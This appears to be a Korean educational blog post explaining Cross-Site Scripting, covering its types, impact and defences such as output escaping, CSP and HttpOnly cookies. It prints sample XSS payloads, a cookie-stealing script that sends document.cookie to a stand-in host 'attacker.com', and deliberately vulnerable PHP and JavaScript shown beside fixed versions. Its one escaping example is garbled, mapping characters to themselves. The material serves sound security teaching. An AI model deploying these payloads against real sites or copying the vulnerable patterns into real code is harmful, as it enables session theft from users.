q1: XSS (Cross-Site Scripting)
a1:
XSS (Cross-Site Scripting)란?
**XSS (Cross-Site Scripting)**는 웹 애플리케이션의 취약점을 악용하여 악성 스크립트를 삽입하고 실행시키는 보안 공격 방식입니다.
주로 사용자 입력값을 제대로 검증하지 않아서 발생하며, 공격자는 이를 통해 사용자 세션 탈취, 악성 코드 실행, 피싱 등의 공격을 수행할 수 있습니다.
1. XSS의 작동 원리
1. 공격자가 웹 애플리케이션에 악성 스크립트를 삽입합니다.
(예: 게시판 댓글, 검색창, URL 파라미터 등)
2. 서버 또는 클라이언트가 이 입력값을 제대로 검증하지 않고 출력합니다.
3. 피해자가 해당 페이지에 접속하면, 악성 스크립트가 실행됩니다.
4. 스크립트가 브라우저에서 실행되어 피해자에게 악영향을 미칩니다.
2. XSS의 유형
(1) Stored XSS (저장형 XSS)
• 공격자가 악성 스크립트를 서버에 저장하고, 피해자가 해당 데이터를 읽어올 때 실행됩니다.
• 주요 발생 위치: 게시판, 댓글, 프로필 정보 등 사용자가 입력한 데이터가 저장되는 곳.
• 예제:
1. 공격자가 댓글에 악성 코드 삽입:
<script>alert('XSS 공격!');</script>
2. 댓글이 저장된 후, 다른 사용자가 페이지를 열 때 스크립트 실행.
(2) Reflected XSS (반사형 XSS)
• 공격자가 URL 등의 입력값에 악성 스크립트를 삽입하고, 피해자가 이를 클릭하면 스크립트가 실행됩니다.
• 주요 발생 위치: 검색 결과, URL 파라미터 등을 출력할 때.
• 예제:
1. 공격자가 URL에 악성 코드 포함:
http://example.com/search?q=<script>alert('XSS')</script>
2. 피해자가 이 URL을 클릭하면 브라우저에서 스크립트 실행.
(3) DOM-Based XSS
• 서버가 아닌 **클라이언트 측(JavaScript)**에서 DOM을 조작할 때 발생합니다.
• 주로 클라이언트 측에서 사용자 입력을 처리하거나 DOM을 업데이트할 때 발생.
• 예제:
const searchParam = location.hash.substring(1);
document.getElementById("output").innerHTML = searchParam;
• URL에 #<script>alert('XSS')</script>를 추가하면 브라우저에서 스크립트가 실행됩니다.
3. XSS 공격의 영향
1. 사용자 세션 탈취: 쿠키와 세션 정보를 탈취하여 사용자 계정에 무단 접근.
<script>
document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">');
</script>
2. 브라우저에 악성 코드 실행: 피해자의 브라우저에서 원하지 않는 동작 수행.
3. 피싱: 악성 스크립트를 통해 사용자로부터 민감한 정보(예: 비밀번호)를 탈취.
4. 서비스 무력화: 스크립트를 통해 페이지가 정상적으로 작동하지 않도록 방해.
4. XSS 방어 방법
(1) 사용자 입력 검증
• 사용자 입력값을 철저히 검증하고, 허용되지 않는 값은 제거하거나 거부.
• 예: 화이트리스트 방식 사용 (<script>와 같은 태그 차단).
(2) 출력 데이터 이스케이프 처리
• 출력되는 데이터를 HTML, JavaScript, CSS 등에 맞게 이스케이프 처리.
• 예: < → <, > → >, " → ".
(3) Content Security Policy (CSP) 적용
• CSP를 설정하여 허용된 스크립트만 실행되도록 제한.
Content-Security-Policy: default-src 'self'
(4) HTTP-only 쿠키 사용
• 쿠키에 HTTP-only 옵션을 설정하면, JavaScript를 통해 쿠키에 접근할 수 없도록 제한.
(5) DOM 조작 시 주의
• 사용자 입력값을 DOM에 삽입할 때, innerHTML 대신 textContent 사용.
// 취약한 코드
element.innerHTML = userInput;
// 안전한 코드
element.textContent = userInput;
5. XSS 예제와 방어 코드
취약한 코드
<form method="GET">
<input type="text" name="username" placeholder="Enter your name">
<button type="submit">Submit</button>
</form>
<div>
Hello, <span id="output"><?= $_GET['username']; ?></span>
</div>
• 문제: 사용자가 ?username=<script>alert('XSS')</script>를 입력하면 스크립트가 실행됩니다.
방어 코드
<div>
Hello, <span id="output"><?= htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8'); ?></span>
</div>
• 결과: <script> 태그가 HTML로 이스케이프 처리되어 스크립트가 실행되지 않음.
XSS (Cross-Site Scripting) 241121
2024. 11. 21. 06:34
반응형